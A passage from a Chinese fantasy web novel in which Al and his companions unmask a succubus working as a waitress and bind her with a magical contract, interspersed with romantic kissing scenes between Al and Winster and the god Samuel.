艾尔听见旁边有民众抱怨,“算了算了,都快被挤死了,以后总有机会见识第一美人长什么样,今天就不等了。” “城主府和教廷的人也太霸道了,他们的骑士总是跟着金佰莉小姐。” “浪费我一大把时间,我还是回去看店吧。” 艾尔恍然大悟,原来是因为那个金佰莉来这里吃饭了,啧,明星效应。 奥斯顿跟好友吐槽:“天天都这样,这些家伙一定让金佰莉小姐很困扰!” 艾尔沉默了,他很想说,你看上去和这些人区别不大……哦,除了明显的更帅更有钱之外。 几人面无表情的时候,都是一副高贵冷艳的模样,而对城内富商很熟悉的骑士们确定没见过他们,想着人家就是单纯进去吃饭的外地人,便放人进去了。 艾尔正准备问一下楼上还有没有包间,便听见一道悦耳的女声越来越近—— “凯奥少爷,您带朋友来了吗?大堂没有座位了,我带各位去楼上吧~” 凯奥是奥斯顿常用的化名,艾尔是知道的。 他微微掀起一点帽檐,看清小跑过来的女孩儿,确实很漂亮。 大概十七八岁的女孩子,还带点婴儿肥的白皙小脸,玫红色的眸色很稀有,让人想起热情浪漫的玫瑰花。 眼型偏圆,显得可爱纯真,眼尾却微微上挑,湿漉漉的眸子一转,有种勾人的味道,浓密的黑色长卷发披散及腰,真是从头到脚的漂亮。 不需要介绍,看周围的客人都暗搓搓看了过来,就知道这位就是金佰莉小姐了。 不过看她的衣服,她并不是艾尔之前以为的来这里吃饭,而是饭馆招的侍者。 奥斯顿跟着她走,笑得跟傻狗似的和心上人搭话。 艾尔落后两步,作为略挑剔的老板,他对打工仔们是有着装打扮和卫生要求的,金佰莉就不太合格——那么长的头发不盘起来,发尾不会扫到菜里吗?头发不会落进菜里吗? 指甲有些长了,项链手环戒指什么都戴,违反了店里的卫生标准,而且看起来做事就不利落。 再者,如果说店里生意不好,招俊男美女还能帮忙吸引客人,但他的每家分店客流量足够了,再找个招了一堆桃花的,只会多生事端。 工钱高待遇好的工作不好找,其他侍者都是严格遵守卫生着装要求,只有金佰莉…… 艾尔眯了眯眼,琢磨着分店店长是不是也和奥斯顿他们一样沦陷了。 旁边,温斯特一直关注着哥哥,当然也注意到青年打量女孩儿的时间过长。 其实也没多久,但远超艾尔平时对一个没有交流的异性的关注时间,而且看的还挺仔细。 温斯特不愉地拉下哥哥的帽檐,挡住了他的视线。 艾尔:“……”我说刚才是在考虑辞退这个女孩儿,你信吗? —— “这间包间可以吗?” 年轻女孩儿笑得甜软,把王子殿下迷的神魂颠倒,“当然可以,辛苦金佰莉带我们过来!” 在四人看菜单的时候,女孩儿美目一扫,不着痕迹地观察过每一个人——都是极品人族啊! 气息干净,容貌气质绝佳,虽然有个青年遮住了大半张脸,但只看下半张脸的轮廓和淡红色的唇,就知道是个美人了。 啊~这群人真的是她在这座城市见过的最出色的人族了! 好像都是外来者……一定要在他们离开之前把人拐上床,能把他们勾引住多留一段时间更好~ 反正她是不想跟人离开的,难得找到这么个人多又没有威胁的城市,实力最强的主教不过就是个高级法师,武力上完全不是她的对手,好色,意志又不坚定,金佰莉只施展了一点天赋,就将人耍的团团转。 而这行人一看来历就不简单,金佰莉可不想跟着他们离开,万一撞上个有眼力的看出了她的身份怎么办? 还没看仔细,女孩儿的视线突然被一双平静的眼睛抓住。 金佰利一愣,随即害羞地抿嘴笑了笑。 亚尔林恍惚地看了她几秒,很快便清醒过来,蹙着眉移开了视线。 金佰莉秀眉一挑,更有性趣了。 她刚才只用了一点天赋而已,等找个好机会,就将他们一个一个的拿下。 点单用不了多久,金佰莉记下了菜名,然后出去了。 “怎么样?她是不是又温柔又可爱!” 艾尔敷衍地点点头,他其实觉得一个无权无势,又不幸被几方地头蛇看上的女孩儿,能全身而退简直就是一个奇迹,刚才观察了一会儿,反正不会是纯良的性格。 但再多的就不了解了,除非发现那女孩儿有大问题,艾尔不想对朋友的感情指指点点。 等金佰莉端着餐盘进来,奥斯顿见她情绪不高,关心了一句。 “是康奈尔阁下,刚才他又拦住我了。” 奥斯顿连忙说,“那你可以在这里多待一会儿,躲一躲他们。” 金佰莉笑了一下,“谢谢凯奥少爷。” 她顿了顿,纠结道:“神官阁下们说我被恶魔附身过了,劝我去教堂用圣水沐浴,净化灵魂,祈祷神的庇佑,否则以后会很倒霉,死后的灵魂也会被恶魔带到地狱。” 女孩儿看起来有些忧愁,“我本来不信的,但是他们天天这样说,我现在有点担心是不是真的,而且……一些信徒已经开始叫我魔女了……” 奥斯顿皱眉,“那些疯子没伤害到你吧?” 光明教廷有大量的狂信徒,神官说什么他们信什么,在普通民众间是一股相当可怕的力量,神官稍加引导,他们就会成为一群暴民。 如果有神官说某人天生就有邪恶的灵魂,会带来不幸,不需要教廷处理,那个人很快就会成为一具尸体。 所以奥斯顿很担心心上人的生命安全。 金佰莉摇摇头,“暂时没事,但我真的要考虑接受惠特曼阁下的邀请,住进城主府了,那里更安全些。” 那岂不是羊入虎口?! 奥斯顿连忙拍着胸脯道:“那老东西什么心思你不知道吗?不如来住在我们隔壁,你放心,我们会保护你的!” 艾尔嘴角一抽,你除了比那老城主年轻帅气,其它行为跟人有什么区别啊?! 女孩儿唇角一勾,很快又抿唇压了下去,犹豫着看向一直没说过话的三名青年,“可以吗?会不会太麻烦您和您的朋友了?” “当然不会!他们都是热心的大好人!” “热心好人”温斯特冷冷地瞪了王子殿下一眼,一想到这个被哥哥仔细看过几眼的女人要住在他们旁边,他就万般不愿意。 金佰莉注意到那个莫名对她抱有敌意的黑眸青年,觉得很有挑战性,被无声威胁了她就当没看出来,欣然同意了刚才的邀请。 奥斯顿正气凛然地安慰心上人,“你放心吧,那些神官,我的朋友会……”处理他们的。 “咳…” 还没说完,王子殿下的话便被一声干咳打断,他纳闷地看向好友,为什么不让他透露? 除了刚才点菜,艾尔终于开口跟这位魅力十足的女孩儿说话了—— “你是从哪里来到这座城里的?” 明伽城关于金佰莉的闹剧是大约两个月前开始的,如果美丽的女孩儿成长于这里,为什么之前毫无风波?所以艾尔猜测她是不久前才来到这座城市的。 金佰莉愣了一下,随即才说了一个她曾路过的,离这里很远的小村镇。 “一个人过来的?” “嗯…”金佰莉不想让他继续问下去了,这个人的声音太冷静了,可见没受她天赋影响,万一等会儿发现什么异常呢。 真讨厌~兜帽把眼睛都遮住了,这家伙该不会根本没看见她长什么样子吧。 金佰莉将天赋作用于她悦耳的声音,可怜兮兮地说道:“我不想提起过去的事情,可以不要问那些事了吗?” 任谁听了都会以为她想起了伤心事,不会在美人伤口上撒盐了。 艾尔随口感慨了一下,又像是意味深长道:“真是一位美丽又幸运的女孩儿。” 金佰莉心里咯噔了一下。 独身,美丽,柔弱,居然顺利走过了这么长的旅程,可不幸运吗? 他看出来了金佰莉的来历都是她编的,不过也不能因为这种事就说人家是坏人,他自己也是经常忽悠人的,怎么能苛刻要求别人对他诚实。 询问来历的事暂时揭过,艾尔开始打探明伽分庭的事情。 “听说主教挑选了不少美丽的神仆,金佰莉在教堂待了两天,有留意到神仆平时在做些什么吗?有没有工钱拿?” 金佰莉一时想不通对方问这种事做什么,不过只要不提她的过去,聊什么都可以! 而且这个问题,说实话还能揭露教廷的阴暗面,让这些男性人族更怜惜她~ 女孩儿回答的有些羞涩,“没有工钱的,她们很感激主教与她们交合,用光明的力量驱逐她们身体里的病症和诅咒,所以自愿留下来洒扫教堂,侍奉神官阁下们。” 艾尔:“……”神他妈光明的力量。 奥斯顿冷笑一声。 艾尔又跟她打探了一会儿明伽城神官们的性格爱好,然后便没再说话了。 奥斯顿见好友问完正事了,就让心上人坐下歇歇,请她吃饭,跟她闲聊。 看他们聊得认真,艾尔掀开一点帽檐,仔细观察了一下这个金佰莉,他越来越觉得这女孩儿某些方面给他一种熟悉的感觉…… 余光看到旁边的亚尔林还没吃完他点的餐,嗯?亚尔林做什么都不会拖泥带水,今天没胃口吗? 微微偏头一瞧,他那向来只爱好练剑的骑士,正有一搭没一搭的看着斜对面的女孩儿…… 艾尔沉默了,金佰莉真的有这么好看吗?四个人就飞快的沦陷了俩。 青年心中对金佰莉的怀疑更深,亚尔林足够聪明冷静,女孩儿身上又有诸多疑点,正常情况下亚尔林不可能对她有好感,这种被降智的感觉怎么这么像…… 他再转头向另一侧看去,正好对上了温斯特怒火中烧又委屈的眼神,虽然不知道这小子又在气什么,但艾尔很欣慰这个房间还有一个没被降智的人。 咦……对了,温斯特是弯的,确实很难被异性吸引到。 —— 奥斯顿在旅馆给心上人单独开了一个房间,“你放心,这个旅馆不会随意透露客人的房间,万一真遇到危险了,大声叫我们就行,我们马上就赶来救你!” 艾尔木着脸看着还没到下班时间就随意溜出来的女孩儿,又给分店老板记了一笔。 再一想,还是算了,如果真是他想的那种可能,老板也是无辜的。 当着大家的面,五个人各回各屋,艾尔坐下没多久,温斯特驾轻就熟地推开了没有关上的门,走了进来——然后直接抱紧了银发青年。 力度有些大,艾尔艰难地抬手拍拍他的背,又好奇又好笑:“你又在气什么?” 一路上这张俊脸跟个河豚似的。 第103章 第 103 章 温斯特抱着哥哥, 两人脖颈相交,他脑袋往后移了一点,亲昵地蹭了蹭银发青年柔软的脸颊, 随后正脸对着哥哥,几乎是鼻尖对着鼻尖的近—— “那个女人不是哥哥喜欢的类型, 为什么要一直看着她呢?” 温斯特眼眸中一片寒意, 却并非是针对怀中人, 他舍不得伤害哥哥的…… 艾尔被他箍住腰,揽住肩, 躲也躲不开。 离得太近了, 两人呼吸交缠, 温斯特的体温又向来比他高,被他抱着艾尔觉得脸都有些热了。 可艾尔不觉得反感, 也许是温斯特和塞缪尔每天的亲密接触已经让他慢慢适应了,底线越来越低,所以对于温斯特刚才那套动作,艾尔并没有开口让人离远一点, 只是默默接受了他的束缚和黏糊拥抱, 好让人不要那么不开心了…… 知道了温斯特生气的原因,艾尔哭笑不得,他哪有看多久? 跟金佰莉聊天都是公事公办的态度, 没多说一句废话, 摆明了对那女孩儿没别的兴趣, 温斯特平时挺聪明的, 怎么这都看不出来? 就因为多观察了一会儿, 就生了这么久的气? 他只好解释清楚,“你不觉得金佰莉过于有魅力了吗?连……”亚尔林都有点被迷惑住了。 “不觉得!” 艾尔还没说完, 就被温斯特厉声反驳打断,随后那张俊脸迅速靠近,直到两唇重重地贴上。 自从在西莱古森点破感情之后,艾尔每天都会被两个意识吻一下脸,或者唇,因为他还拒绝着这份感情,对亲吻还很别扭,所以温斯特他们都是点到为止,一触即离。 但这次不一样,他在深渊的时候,哥哥回答他的择偶标准是一个怎么怎么样的女孩儿,虽然那个金佰莉不符合那些要求,但她是女的!而哥哥更喜欢女人! 哥哥见到她的第一眼就看了很久,和平时的作风完全不一样,是不是对她一见钟情了? 温斯特太生气太难过太慌乱了,占有欲发作,这次的亲吻不同于以往克制后的轻微触碰,他被自己的本性支配,撬开哥哥没有防备的牙关,吻得很深。 艾尔被他扣着后脑勺,两唇压的紧紧的,有不属于自己的滚烫柔软在他口中索取,掠夺,抢占他的氧气,他很快便呼吸急促了起来。 第一次被塞缪尔亲吻的时候,他更多的是震惊,感触不深,后面几日的轻微触碰除了让他习惯之外,也没有太多感觉。 而这次不一样……粗鲁又凶狠的深吻,带来一种令人浑身颤栗的快感,让人上瘾,理智也慢慢抽离。 没什么亲密经验的身体很敏感,深吻没多久两人便起了反应,燥热难受的身体让艾尔找回了一丝理智。 但温斯特将他禁锢的太紧了,根本后退不了,他只能咬了一下温斯特的舌尖,试图提醒某人差不多得了! 温斯特睁开眼,看见哥哥水雾氤氲的漂亮眸子正瞪着他,青年丝毫不知道这幅模样更加摄人心魂。 温斯特眸色更暗,本性中的征服欲倏然升起,不过他还有理智,知道这是他最爱的哥哥,不是敌人,不能再进攻了。 已经占了大便宜,温斯特不想惹哥哥生气,只能不舍的停下亲吻,禁锢青年的力道松了很多。 艾尔还没来得及责问,温斯特便先发制人—— 他的声音低沉沙哑,“你一直看她,还觉得她很有魅力,哥哥是不是喜欢上那个女人了?除了性别,我哪里不比她好?性别对哥哥来说真的那么重要吗?哥哥是想有一个亲生孩子吗?也对,毕竟你一直很喜欢幼崽,当然会想要……” 明明声线撩人,说出的内容却像怨夫一般。 艾尔正轻轻喘着气,就听见一串委屈失落的问话,气得他直接上手把某人的俊脸揉搓一通打断那张嘴的输出:你委屈个屁! “能不能听人把话说完!!”下半身的异常让他又尴尬又难受,他推拒着面前高大的身躯,佯怒道:“热死了,快松开!” 温斯特看哥哥有些潮红的脸颊,也没有怀疑,遗憾地收回自己搂着人的手,半跪在坐着的银发青年面前,与他平视,“哥哥有什么话没说完?” 艾尔尽快平息了他异常的呼吸和心跳,跟温斯特分析了金佰莉的种种疑点,然后不解地看着温斯特,“你不觉得奇怪吗,你没有想到这些吗?” 温斯特心虚的沉默了。 他几乎全程都在盯着哥哥有什么动静、对那女人是什么态度,根本没多看金佰莉几眼,她和奥斯顿聊天的内容更没听进去。 温斯特一直忙着生闷气呢,哪会去思考金佰莉的幸运和魅力合不合理,更没注意到同伴亚尔林开始沦陷了。 艾尔冷笑一声,开始借题发挥,“平时又聪明又谨慎,今天对着一个你不喜欢的人怎么什么毛病都没挑出来?还是跟奥斯顿他们一样,被美色迷惑,根本不舍得怀疑人家。” “当然不是…”温斯特看着哥哥忽然冷漠的表情,语气又有几分阴阳怪气,他意识到什么,笑了起来,“哥哥是在吃醋吗?” 只是因为刚才有点憋屈,所以想借机怼温斯特几句的艾尔:“……” 完了,又被这小子找到一个他动心了的证据。 艾尔当即就否认了自己在吃醋,“不,我是在说你笨!” 温斯特表示他不听!哥哥傲娇的骂他笨的样子真可爱。 艾尔一看他那傻狗笑就知道再多的辩解也没用了,这小子是怎么在饿狼和傻狗间切换自如的? “还有,以后不许像刚才那样…”青年眼睫颤动,顿了一下,才稍微撇过头,不自在的继续说,“不许那样亲我。” 温斯特捏着哥哥放在膝上的手,看着他别扭的脸色,嘟囔着:“明明哥哥也很喜欢的。” 就是太害羞了,不好意思承认,不过没关系,这样也很可爱。 只要哥哥一直在他身边,温斯特会耐心等到他开口接受自己的那一天。 他忽然有些好奇:“如果我是女人,哥哥会不会已经接受我了?” 艾尔斩钉截铁道,“不会。” “为什么?这样的话我就是哥哥的理想伴侣了,不是吗?” 艾尔想回答他:因为是你,所以我不想接受。 但是话到嘴边,又说不出口,担心温斯特会难过,会误会自己是嫌弃他。 他以前没思考过自己的性取向问题,考虑到他最近被同性又亲又抱,却不反感不恶心,艾尔想着,性别也没那么重要,他也有弯掉的可能。 只是他多年来一直将温斯特当作弟弟,跟弟弟谈恋爱,他会有一种背德感。 再者,其实他在接触魔法之后,一直倾向于不找对象。 芸芸众生之中有那么多爱情,有多少是能长久不灭的,直到死亡分开了有情人? 人生不过百年,大多数恋人的结局都是分手,出轨,离婚,凑合着过日子,或是时间久了,爱情转为亲情,相敬如宾的过一辈子。 这么短的时间内尚且如此,艾尔无法想象活个几千年,要怎么维持一段恋情。 他一向都很理智,想着即便一开始感情再好,等时间久了,无非就是他不爱了,或者对方不爱了,然后分开,既然如此,不如一直当个自由的单身狗,又省时间又省心! 主要是因为这两个原因,艾尔一直都有些抗拒温斯特的感情,如果他们真的在一起了,说不定过几年就会分手,然后一刀两断,不再往来…… 他想着,大家当兄弟当朋友不好吗,维持亲情比维持爱情容易多了。 温斯特看哥哥不说话,闷闷不乐的样子,心里一慌,连连哄道,“我不问了,哥哥,你不要生气。” “我没有生气,我只是在愁。” “愁什么?哥哥有什么苦恼吗,我会帮你解决的。” 艾尔冷哼一声,恨恨的把温斯特的脸揉搓一遍撒气,“都是你的错,还帮我解决呢……” 温斯特眼睛一亮,“哥哥刚才果然是在想我,是在考虑和我在一起吗?” 是不是哥哥终于意识到,他除了不是女人不能生孩子外,什么都好。 “……”艾尔不想跟这个恋爱脑说话了,他是想谈正事的,温斯特却总是往他不想面对的感情问题上扯。 他打开窗户看了眼天色,正是日月交接之时,太阳马上就完全消失在地平线了。 艾尔开始静下心来练习光系符文,不搭理几乎贴在他身上,指尖卷着他头发玩儿的恋爱脑。 等他正控制着元素的手被另一只大手包住,艾尔就收到示意,是塞缪尔出来了。 好了,能判断金佰莉身份的人出来了,他们可以去做正事了。 “那个金……等等,你想干嘛?!” 塞缪尔一醒来,脑海中就浮现出温斯特印象最深刻的画面。 祂能清晰地回忆起刚才的亲吻是什么滋味,比前几次满足了很多,但仍然意犹未尽。 祂直接握住银发青年正在忙碌的手,将他捞到三米外的床上,压着人就吻了下去。 艾尔:以为塞缪尔年龄大了会稳重一点的我真是个傻子。 发现自己被压的很牢实,艾尔直接放弃挣扎——反正亲都亲了,多亲会儿少亲会儿有什么区别? 塞缪尔强壮结实的手臂揽着青年的肩,另一只手捧着他的侧脸,竟让艾尔生出一种被珍视爱护的感觉…… 青年任由没什么经验的神明大人在自己口中探索,掠夺,不多久……老话说的没错,男人是用下半身思考的动物。 理智上,艾尔知道他一旦回应肯定会让对方产生误会,但实际上,他被这种不得章法的吻技亲出了感觉,激素支配下,产生了压倒理智的欲.望和攻击性,竟搂上了身上人的脖颈,扣着祂的后脑勺开始回应。 塞缪尔一愣,随即吻得更加凶狠,又吮又咬,将青年吻到几乎窒息,即便如此,祂的宣泄欲也远远得不到满足。 不知道过了多久,银发青年难受地闷哼一声,艰难的从唇缝中挤出几个字,“不…要了,停、停下…” 塞缪尔本不想理会,但感受到小崽子呼吸有些困难,还是抬起头来,额头的一滴汗水顺着祂利落硬朗的下颌线落到了青年的颈间。 身下如月色般圣洁美丽的青年,此时雾眼朦胧,双颊潮红,唇被蹂躏到红肿饱满,还沾着一点晶莹水渍,看的塞缪尔身体都起火了。 艾尔情不自禁地舔了一下还残留着异样感觉的唇,尝到一点腥甜铁锈味,顿时瞪了神明大人一眼,“你能不能轻点儿,都被你咬破了!” “啧,真是娇气。”塞缪尔沙哑着声音,带着笑意评价一声,然后再低头吻了下去。 这次祂很克制,只是不轻不重地贴着,舌尖细致地扫过青年柔软的唇瓣,竟温柔的有些不像祂。 艾尔本来找回了一点理智,想起身的,但是塞缪尔吻技进步迅速,这次又亲的很温柔,就……有点舒服,所以还没完全清醒的大脑又被欲.望给糊住了。 等塞缪尔情不自禁的在他身上蹭了起来,艾尔猛地睁眼,这下彻底清醒了——被吓的。 塞缪尔正吻得认真,没防备,一下就被推开了,艾尔一咕噜翻身下床,一边整理凌乱的衣服和发丝,一边尴尬地瞄着疑惑又不爽的神明大人。 “咳…我等会儿还有事要忙,你自己一个人冷静一下。” 咦?这句话听起来有点耳熟啊…… 其实艾尔自己也需要冷静一下,但他现在就想夺门而出,因为塞缪尔现在看他的眼神真的像是要吃人…… 后面的一会儿时间,艾尔跟个渣男一样对刚才的冲动避之不谈,一副不想负责的样子,除了之前的理由,现在又多了一个:无论是当上面、还是下面那个,他都没做好心理准备啊! —— “叩叩” 金佰利听到敲门声,玫红色的漂亮眸子中满是喜悦和得意,不用猜,门外一定是她天真正义的凯奥少爷~ 女孩儿装出一副柔弱胆怯的模样走向房门。 第104章 第 104 章 女孩儿谨慎地打开房门的一点缝隙, 意料之外的看见一张陌生的面孔。 银发青年长得异常俊美,脸部轮廓柔和,天生一副容易让人亲近的长相, 但是他不笑或者礼节性浅笑的时候,有着拒人于千里之外的气质, 他近在咫尺, 却又像远在云端。 明明以前也见过冷漠的人族, 或者魔族,只有这个人, 无端让金佰莉想起了教堂壁画上圣洁而遥远的神明和天族。 金佰莉从青年的身形和下半张脸判断出, 这就是一直穿着斗篷的, 凯奥少爷的好友。 “艾尔少爷?” 青年淡淡的嗯了一声,“晚上好, 请问我们可以进去吗,有点事想跟你谈。” 我们? 因为面前的是为她提供庇护的好人,金佰莉将房门敞开了一些,看见艾尔少爷旁边还站着一个黑眸青年, 也是她白天见过的温斯特, 只是…… 金佰莉感到了很强的违和感,和白天的敌意不同,此时的温斯特过于危险, 那双幽深的黑眸打量着她, 眼神轻飘飘的, 像是在看什么物件, 根本没有将她认真看在眼里。 如果是其他人类这样看她, 金佰莉只会燃起征服欲,誓要将人踩在脚下, 但是面对这个人……金佰莉不自觉地打了个寒颤,本能的想尽快逃离黑眸的视线范围。 艾尔看她好像僵住了,偏头瞪了某神一眼,才催促了一下女孩儿,“金佰莉小姐?我们可以进去吗?” 金佰莉回神,才惊觉她背后已经冒了冷汗,再看那黑眸青年时,那人已经转移了视线,去盯着艾尔少爷了。 对了,他们两人想要进她房间……异性对她提出这样的请求很正常,但是在这两人身上,她没有感受到熟悉的觊觎和欲.望,这就代表不好掌控,让她很没有安全感。 金佰莉独自在凡界闯荡,她很谨慎,所以拒绝了青年的请求。 “有什么事可以就在这里说吗?对不起,我有点害怕……”她动用了天赋,吐露出的每个字,甚至每根头发丝儿都格外勾人。 塞缪尔嗤笑一声,以迅雷不及掩耳之势,一脚将人踹了进去。 “啊——” 听见那声惨叫,艾尔庆幸自己有先见之明,担心如果打起来动静太大会引来别人,在敲门前便在附近画下了隐形的隔离符文。 两个擅闯进来的男人关上了门,女孩儿惊恐地喊人,“凯奥少爷~救救我!” 银发青年觉得这声音太刺耳,不耐烦地打断了她,“好了魅魔小姐,收起你的招数,不会有人听到这里的动静的。” “!!!”金佰莉这下是真的惊恐了,“你、你在说什么?!” 艾尔随手一道圣光打过去,魅魔收起来的蝠翼和尾巴便被刺激到显露出来。 光…光系?!还比她等级高! 没时间思考她怎么这么倒霉被光系法师发现了,金佰莉直接冲向房门——当然,她是跑不掉的,被元素化形的锁链捆的结结实实。 “别害怕,我跟送你离开深渊的汉克、安妮塔他们关系还不错,他们曾向我透露过送了几个年轻魅魔来到凡界,没想到这么快就遇上一个了。” 青年友好地勾了勾唇角,“我对魔族没有敌意,不会见一个杀一个的。” 没有保证一定不杀,怎么处理金佰莉,完全取决于她来到凡界后做了什么。 如果像最近一样只蛊惑了几个人也就罢了,但如果杀害了无辜,就得按照人族律法处理了,也就是死刑。 从光系法师嘴里听到深渊高层的名字,金佰莉只觉得魔幻,但因为这个人类没有直接杀了她,金佰莉想着或许她对他还有用,心里松了口气。 “你是怎么认识安妮塔大人的?”这可是她们族的头领之一,但是从来没有离开过深渊,不该有人族听过她的名字啊。 青年不欲多言,只轻描淡写地回了句,“最近去深渊旅行了一段时间。” 金佰莉还想问什么,艾尔直接施了一道灵魂魔法,始终明媚迷人的女孩儿在白光散去之后,失去了所有灵性,木讷的如傀儡一般。 “你到凡界多久了?做了什么,杀过多少人?” 失去自主意识的魅魔听见问话,完全诚实的进行了回答。 金佰莉三年前被送了上来,然后她发现语言不通,便谨慎地找了个偏僻的小村落开始学语言。 因为有魅惑天赋,接触到的人族都被强行降智,没有人对她起疑。 能顺利交流之后,金佰莉打探了一下凡界势力的情况,决定先找个整体实力不高的城市混着,那个城市最好要有光明教廷的红衣主教才行,她好勾搭一个打探消息。 金佰莉已经两百岁,境阶实力比大部分主教要高,但她在魔族中还属于刚长大的年纪,独身混进对魔族喊打喊杀的人族还是有些胆怯的。 她不敢到处惹事,就怕引起教廷的注意,所以只动用了天赋让自己顺利走动,直到找到明伽城,这个离主教廷很远,还有个实力最弱的、好色易操控的红衣主教的地方。 金佰莉应该庆幸,魅魔虽说不在乎人命,但也不弑杀,她们美丽诱人,也追求好看的事物,沉迷于令人愉悦的欲.望,并不喜欢把周围搞得脏兮兮血淋淋的。 所以她到凡界后还没有杀过人,天赋在身,她说什么别人就做什么,过得非常舒心,没有下杀手的必要。 别说杀人了,作为最享受淫乐,并能借此维持年轻美貌,提高魅惑天赋的魅魔,金佰莉都很少找临时伴侣交合! 绝大部分长寿种都有绝佳的容貌,以前在深渊,随随便便都能在路上遇到个顺眼的临时伴侣,但是人族……以魅魔挑剔的眼光,百分之八九十的人类都长得丑! 你知道要保持低调的魅魔,想找个形象气质佳,有点实力但不高,心性又不是太坚定的床伴有多难吗! 三年了,金佰莉也不过只找了十五个临时伴侣,对人族庞大的人口基数来说,合格的太少了! 惊喜的是,这几日明伽城来了个正义又好骗的外来人,又干净又俊朗,还带了几个同样优秀的朋友! 金佰莉看得出有两人不好控制,甚至有个人不知为何对她产生敌意,所以她的目标是另外两个。 魅魔将她的经历,她的计划和真实想法一咕噜全吐了出来,艾尔抽了抽嘴角——三年只勾搭了十五个真是委屈你了。 另外,金佰莉还供出了在她之前被送上来的魅魔的下落,三女两男,和她一样低调行事。 但低调不代表混日子,他们来凡界的任务执行的很顺利,每个长居过的城市,神官的权威和光明教廷的影响力都下降了很多。 艾尔没什么可问的了,解开了对她灵魂的束缚。 金佰莉心里咒骂了一声该死的人类,面上却楚楚可怜。 “求求你们不要杀我,你们知道我的天赋,可以利用我帮你们做事,我会听话的,我保证!” 光系天赋者必定是教廷的神官,知道她在做对教廷不利的事情,肯定不会放过她的,金佰莉只能认怂。 魅魔被捆绑着,坐在地上的姿势相当有诱惑力,艾尔看着那张能把正常人迷的神魂颠倒,为她上刀山下火海的脸,思维跑偏了一点。 用头发丝儿想都知道眼前的魅魔肯定用了天赋跟他说话,但是……为什么他的内心毫无波动。 在深渊对魅魔没感觉的时候他还没多想,以为魅魔的天赋没有传闻中那么可怕,如今见识到这一族对人类的吸引力…… 奥斯顿就不说了,这家伙没什么戒心,即便金佰莉不用天赋,凭她在明伽城的可怜经历也能让奥斯顿同情心泛滥,但一向谨慎细致的亚尔林也有点着了道…… 艾尔就开始疑惑了,他怎么一点感觉都没有? 思索片刻,青年脸色略怪异的想着,难道他不是可直可弯,是弯的彻底了?! 他不禁向斜后方看去。 神明大人进屋就找了个位置坐下了,祂后仰靠着椅背,交叠着一双大长腿,坐的跟大爷似的,手肘落在扶手上,撑着下颌盯着忙于审问的小崽子。 魅魔装可怜求饶的时候,祂看银发青年一时没回话,而是看着魅魔发呆。 塞缪尔皱眉,坏心情正要发作,就见青年转头来看祂,脾气立马就被这个动作捋直了。 “怎么?”祂以为小崽子是想让祂决定怎么处理这个魅魔,啧,一定是他心软的毛病又犯了。 艾尔眼神有些闪躲,“没……啊不是,我就是想问问,你有没有什么办法让她受控一些。” 杀了不就一了百了,哦…对了,小崽子不喜欢杀人来着。 塞缪尔扫了魅魔一眼,“签契约。” “也是。”主要是艾尔从来没有找奴隶的念头,所以一时之间没想起来这个世界权贵常用的契约魔法。 艾尔正打算绘制契约符文,意料之外的,塞缪尔开口阻止了他,“等等,我来契约她。” “?”艾尔几不可见地蹙了下眉,心情忽然有些不悦。 等他扭头看见塞缪尔嫌弃不耐的表情,那点不悦顿时烟消云散,他好笑道:“你又不乐意,还契约她干什么?” 本来很生气自己要给一个人族卖命了,那个可怕的黑眸男人一开口,对比之下,金佰莉瞬间觉得有一个长得好看,手段又温柔的光系主人很不错! 塞缪尔幽幽地瞥了他一眼,“你给我离女人远一点。” “……”听祂这么一警告,艾尔又想起自己好像彻底弯了的事实。 他想告诉塞缪尔别担心性别问题了,但是坦白了肯定又要被这家伙说他喜欢上祂了,算了算了。 作为对爱欲异常敏锐的魅魔,金佰莉没忍住翻了个白眼,呸!怪不得那么难勾引,原来是她性别不对。 金佰莉琢磨着,她以后可以变幻成漂亮的少年跟在他们身边,说不定这样她的天赋就有效果了。 塞缪尔心念一动,面前出现一个烙印,直接被祂打到魅魔的身体里。 金佰莉神色一变——这绝对不是人族的主奴契约! 她的脑子里浮现出一系列不平等的契约规则,效力强到能清晰锁定她的位置不说,哪怕她回到了深渊,这个人也能在凡界命令她自尽! 而且……白天凯奥少爷不是介绍这人是剑师吗?!她还以为银发青年要帮助他完成契约,为什么他能用魔法啊! 还好一个契约无法看出塞缪尔是哪种天赋,否则魅魔又要纠结为什么教廷的上层会跟一个暗系天赋者搞在一起,而两人当然不会搭理她的疑问。 “没什么需要你做的,以后不要杀害无辜的人,别去勾搭已经成家的普通人……” 银发青年语气淡淡地说了一串,金佰莉:“……?” 啊?这好像…跟她以前没多大区别啊! 甚至还不用跟在主人身边,只要不违反这些要求,她想去哪里就去哪里,还可以继续搞光明教廷! 她不可置信道:“你…你是从主教廷出来的神官吧?” 艾尔知道她在疑惑什么,“教廷不太干净,我清理一下,你以后留意到哪个主教或者牧师严重违反教规,就告诉我。” 啊?和敌人合作吗? 金佰莉脑袋里都是问号,但艾尔又不是来交朋友的,确保这个魔族不会危害到普通人,不会造成动乱后,就干脆利落的走人了。 时间还不到晚上九点,趁王子殿下还没睡,艾尔又敲响了他的房门。 奥斯顿开门见到来人,温柔的笑脸一垮,“怎么是你们啊。” 艾尔懒得跟他掰扯金佰莉的身份,直接一道驱散魔法打过去,净化了奥斯顿被爱欲支配的大脑。 奥斯顿觉得好友莫名其妙,“你做什么呢?” 艾尔略好奇地看他,“现在想想金佰莉,什么感觉?” “可怜的漂亮女孩儿……嗯?”奥斯顿挠挠头,有些疑惑,“我好像,没那么喜欢她了。” 奥斯顿大大咧咧的,没准哪天就说漏了嘴,所以艾尔暂时不打算告诉他金佰莉的身份,随口回了句,“就是见色起意而已,这样的喜欢能有多深。” 留下王子殿下一个人反省自己的渣男行为,艾尔又去找了亚尔林。 都不需要用魔法帮他一把,只告诉亚尔林金佰莉的身份,本来就还留有理智的骑士瞬间清醒,艾尔点头,很好,不愧是他选的骑士。 事情顺利办完,艾尔满意地回了自己房间,打算练会儿魔法再睡觉。 然而……房门一关上就被早就等得不耐烦的神明大人扣住又是一顿亲。 夜晚,床上,两个血气方刚的年轻人,吻在一起,没差枪走火的话就有毛病了。 艾尔现在没毛病,但要是每天都这样让身体憋屈的话,迟早会有毛病的! 他在塞缪尔的唇往其它地方吻的时候,终于找到机会说话了,青年抬手推着身上人宽厚的肩膀,喘着气说道:“我们还不是恋人,你别总是亲我。” 塞缪尔笑了一下,汗水滑落的脸有着难言的性感,低沉的声音似讲理似蛊惑,“反正都亲了这么多次,再多亲几回有什么区别吗?” 你说的有道理……但你确定只是多亲几回? 神明大人抚着银发青年的脸,温柔地吻了一下他的眉心,“当恋人可以亲,我们不是恋人也可以亲,既然这样,这跟你已经接受我作为恋人有什么区别?” 艾尔:“……” 